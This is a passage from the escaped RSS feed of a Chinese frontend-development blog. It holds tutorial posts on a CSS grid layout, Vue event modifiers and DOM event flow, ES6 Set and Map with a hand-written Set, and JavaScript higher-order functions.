&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;five item&amp;#34;&lt;/span&gt;&amp;gt;Five&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;six item&amp;#34;&lt;/span&gt;&amp;gt;Six&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;wrapper&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/* 声明一个容器 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;display&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;grid&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/* 声明列的宽度 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;grid-template-columns&lt;/span&gt;: &lt;span style="color:#a6e22e"&gt;repeat&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/* 声明行间距和列间距 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; grid-gap: &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/* 声明行的高度 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;grid-template-rows&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;one&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#19CAAD&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;two&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#8CC7B5&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;three&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#D1BA74&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;four&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#BEE7E9&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;five&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#E6CEAC&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;six&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#ECAD9E&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;item&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;text-align&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;center&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#fff&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-012/image-04.webp"&gt;&lt;/p&gt;</description></item><item><title>vue事件处理</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-012/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-012/</guid><description>&lt;h2 id="一dom-事件流"&gt;一、DOM 事件流&lt;/h2&gt;
&lt;p&gt;想必看过《红宝书》的前端 er 对标题都不会特别陌生，我们来看看定义：当一个 HTML 元素产生一个事件时，该事件会在树形结构的 DOM 上面沿着元素节点路径进行传播，事件所经过的路径结点都会收到该事件，这个传播过程可称为 &lt;strong&gt;DOM 事件流&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-012/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="二dom-事件流模型"&gt;二、DOM 事件流模型&lt;/h2&gt;
&lt;p&gt;DOM 事件流分为 &lt;strong&gt;捕获型事件流&lt;/strong&gt; 和 &lt;strong&gt;冒泡型事件流&lt;/strong&gt;。两种事件流分别对应三阶段 DOM 事件流模型中的捕获阶段和冒泡阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;捕获&lt;/strong&gt;阶段：事件从最外面的祖先节点依次传递到最里面的后代节点&lt;/li&gt;
&lt;li&gt;目标阶段：真正的目标节点正在处理事件的阶段&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;冒泡&lt;/strong&gt;阶段：事件又从最里面的后代节点逐层传出到最外面的祖先节点&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-012/image-02.webp"&gt;&lt;/p&gt;
&lt;h2 id="三vue-之事件处理"&gt;三、Vue 之事件处理&lt;/h2&gt;
&lt;p&gt;Vue 中提供了事件绑定的语法糖，我们可以很简单地在标签中直接使用 &lt;code&gt;@click=&amp;quot;handleClick($event)&amp;quot;&lt;/code&gt; 就可以绑定点击事件。&lt;/p&gt;
&lt;p&gt;而且在 Vue 里面，&lt;strong&gt;Vue 的事件触发默认为冒泡过程监听&lt;/strong&gt;，意思就是上面 &lt;code&gt;@click=&amp;quot;handleClick($event)&amp;quot;&lt;/code&gt; 中点击事件的执行是冒泡过程触发的。&lt;/p&gt;
&lt;h2 id="四vue-之事件修饰符"&gt;四、Vue 之事件修饰符&lt;/h2&gt;
&lt;h3 id="41-capture"&gt;4.1 &lt;code&gt;.capture&lt;/code&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;捕获监听器&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;click&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;log(1)&amp;#34;&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;click&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;capture&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;log(1)&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;background-color: #00f&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;click&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;log(2)&amp;#34;&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;click&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;capture&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;log(2)&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;background-color: #66f&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;click&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;log(3)&amp;#34;&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;click&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;capture&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;log(3)&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;background-color: #ccf&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;click&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;log(4)&amp;#34;&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;click&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;capture&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;log(4)&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;background-color: #fff&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 点击这里
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;控制台打印结果为：&lt;code&gt;1 2 3 4 4 3 2 1&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Map与Set</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-012/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-012/</guid><description>&lt;p&gt;每当去学习ES6的时候，我都会不由自主的打开阮一峰老师的&lt;a href="http://es6.ruanyifeng.com/#docs/set-map"&gt;《ES6入门》&lt;/a&gt;去学习和查找用法，相信大多数同学也都和我一样看过阮老师写的文章。&lt;/p&gt;
&lt;p&gt;当然大家也都知道ES6里常用的API就那么些，不多不少，用在项目中也是刚刚好。&lt;/p&gt;
&lt;p&gt;不过在每次读到Set和Map数据结构那一章的时候，总是有点不知所措，因为我不明白实现这样的数据结构，目的是什么，意义又是什么呢&lt;/p&gt;
&lt;p&gt;Set和Map主要的应用场景在于&lt;strong&gt;数组去重&lt;/strong&gt;和&lt;strong&gt;数据存储&lt;/strong&gt;，幸运的是在读了关于数据结构和算法之类的书籍后，恍然大悟的发现&lt;/p&gt;
&lt;p&gt;原来Set是一种叫做&lt;strong&gt;集合&lt;/strong&gt;的数据结构，Map是一种叫做&lt;strong&gt;字典&lt;/strong&gt;的数据结构&lt;/p&gt;
&lt;p&gt;那么下面就来了解下这两种数据结构，最后来亲手实现的一个ES6中的Set和Map吧&lt;/p&gt;
&lt;h3 id="集合"&gt;集合&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;集合是由一组无序且唯一(即不能重复)的项组成的，可以想象成集合是一个既没有重复元素，也没有顺序概念的数组&lt;/li&gt;
&lt;li&gt;ES6提供了新的数据结构Set。它类似于数组，但是成员的值都是唯一的，没有重复的值&lt;/li&gt;
&lt;li&gt;Set 本身是一个构造函数，用来生成 Set 数据结构&lt;/li&gt;
&lt;li&gt;这里说的Set其实就是我们所要讲到的集合，先来看下基础用法&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;const s &lt;span style="color:#f92672"&gt;=&lt;/span&gt; new Set&lt;span style="color:#f92672"&gt;()&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;2, 3, 5, 4, 5, 2, 2&lt;span style="color:#f92672"&gt;]&lt;/span&gt;.forEach&lt;span style="color:#f92672"&gt;(&lt;/span&gt;x &lt;span style="color:#f92672"&gt;=&lt;/span&gt;&amp;gt; s.add&lt;span style="color:#f92672"&gt;(&lt;/span&gt;x&lt;span style="color:#f92672"&gt;))&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;let i of s&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log&lt;span style="color:#f92672"&gt;(&lt;/span&gt;i&lt;span style="color:#f92672"&gt;)&lt;/span&gt;; // &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// 去除数组的重复成员
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let array &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;1,2,1,4,5,3&lt;span style="color:#f92672"&gt;]&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;...new Set&lt;span style="color:#f92672"&gt;(&lt;/span&gt;array&lt;span style="color:#f92672"&gt;)]&lt;/span&gt; // &lt;span style="color:#f92672"&gt;[&lt;/span&gt;1, 2, 4, 5, 3&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;具体用法如果还有不清楚的，这里我会在后面一一细说。现在还是来看一下以ES6中Set类(数据结构)为基础实现的集合吧&lt;/p&gt;
&lt;h4 id="set实例的属性和方法"&gt;Set实例的属性和方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Set的属性：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;size：返回集合所包含元素的数量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Set的方法：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;操作方法&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;add(value)：向集合添加一个新的项&lt;/li&gt;
&lt;li&gt;delete(value)：从集合中移除一个值&lt;/li&gt;
&lt;li&gt;has(value)：如果值在集合中存在，返回true,否则false&lt;/li&gt;
&lt;li&gt;clear(): 移除集合里所有的项&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;遍历方法&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;keys()：返回一个包含集合中所有键的数组&lt;/li&gt;
&lt;li&gt;values()：返回一个包含集合中所有值的数组&lt;/li&gt;
&lt;li&gt;entries：返回一个包含集合中所有键值对的数组(感觉没什么用就不实现了)&lt;/li&gt;
&lt;li&gt;forEach()：用于对集合成员执行某种操作，没有返回值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="创建一个集合"&gt;创建一个集合&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; Set&lt;span style="color:#f92672"&gt;(&lt;/span&gt;arr &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;[])&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt; // 可以传入数组
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let items &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; this.size &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 0; // 记录集合中成员的数量
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;module.exports &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Set;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里用{}对象来表示集合，也是因为对象不允许一个键指向两个不同的属性，保证了集合里的元素都是唯一的&lt;/p&gt;</description></item><item><title>高阶函数</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-012/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-012/</guid><description>&lt;p&gt;高阶函数是指那些可以接受函数作为参数或者返回函数作为结果的函数。这种特性使得JavaScript的函数变得异常灵活和强大，为开发者提供了丰富的工具和手段来编写更加简洁、可重用和模块化的代码。&lt;/p&gt;
&lt;p&gt;本文将详细介绍JavaScript高阶函数的概念、特性、常见用法以及在实际开发中的应用。&lt;/p&gt;
&lt;h4 id="一高阶函数的概念"&gt;一、高阶函数的概念&lt;/h4&gt;
&lt;p&gt;高阶函数是函数式编程中的一个核心概念。在JavaScript中，函数是一等公民，这意味着函数可以像其他数据类型（如数字、字符串、对象等）一样被传递和操作。高阶函数正是利用了这一特性，使得函数可以作为参数传递给其他函数，或者作为其他函数的返回值。&lt;/p&gt;
&lt;h4 id="二高阶函数的特性"&gt;二、高阶函数的特性&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;函数作为参数&lt;/strong&gt;：高阶函数可以接受一个或多个函数作为参数。这使得我们可以将特定的行为（即函数）作为参数传递给高阶函数，从而实现更加灵活和可重用的代码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;函数作为返回值&lt;/strong&gt;：高阶函数可以返回一个函数作为结果。这种特性允许我们创建可以动态生成新函数的函数，这些新函数可以根据需要执行不同的行为。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;闭包&lt;/strong&gt;：闭包是高阶函数的一个重要特性。闭包允许函数访问其外部作用域中的变量，即使该函数在其外部作用域之外执行。这使得高阶函数可以捕获和存储状态，从而创建更加复杂和强大的函数行为。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="三高阶函数的常见用法"&gt;三、高阶函数的常见用法&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;数组方法&lt;/strong&gt;：JavaScript中的数组方法（如&lt;code&gt;map&lt;/code&gt;、&lt;code&gt;filter&lt;/code&gt;、&lt;code&gt;reduce&lt;/code&gt;等）都是高阶函数的典型例子。这些方法接受一个函数作为参数，并对数组中的每个元素执行该函数，从而返回一个新的数组或单一结果。&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;map&lt;/code&gt;方法：用于创建一个新数组，其结果是该数组中的每个元素调用一个提供的函数后返回的结果。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;filter&lt;/code&gt;方法：创建一个新数组，其包含通过所提供函数实现的测试的所有元素。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reduce&lt;/code&gt;方法：对数组中的每个元素执行一个由您提供的reducer函数(升序执行)，将其结果汇总为单个返回值。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;函数组合&lt;/strong&gt;：函数组合是指将多个函数组合在一起形成一个新的函数。通过高阶函数，我们可以轻松地将多个函数组合在一起，从而创建一个更加复杂和强大的函数。这种技术在实际开发中非常有用，特别是当我们需要处理一系列转换或操作时。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;柯里化&lt;/strong&gt;：柯里化是一种将接收多个参数的函数转换为一系列接收单一参数的函数的技术。虽然柯里化本身不是高阶函数，但高阶函数在实现柯里化时扮演着重要角色。通过高阶函数，我们可以创建一个接受原始函数作为参数的柯里化函数，并返回一个新的函数来处理单一参数。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;创建高阶函数&lt;/strong&gt;：我们可以编写自己的高阶函数来实现特定的行为。例如，我们可以编写一个高阶函数来接受一个函数和一个数组作为参数，并返回该数组中应用该函数后的结果。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="四高阶函数在实际开发中的应用"&gt;四、高阶函数在实际开发中的应用&lt;/h4&gt;
&lt;h4 id="1-数据转换"&gt;1. 数据转换&lt;/h4&gt;
&lt;p&gt;高阶函数非常适合用于数据的转换和映射。例如，我们可以使用&lt;code&gt;Array.prototype.map&lt;/code&gt;方法将一个数组中的每个元素转换为另一种形式。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 定义一个高阶函数，它接受一个转换函数和一个数组作为参数
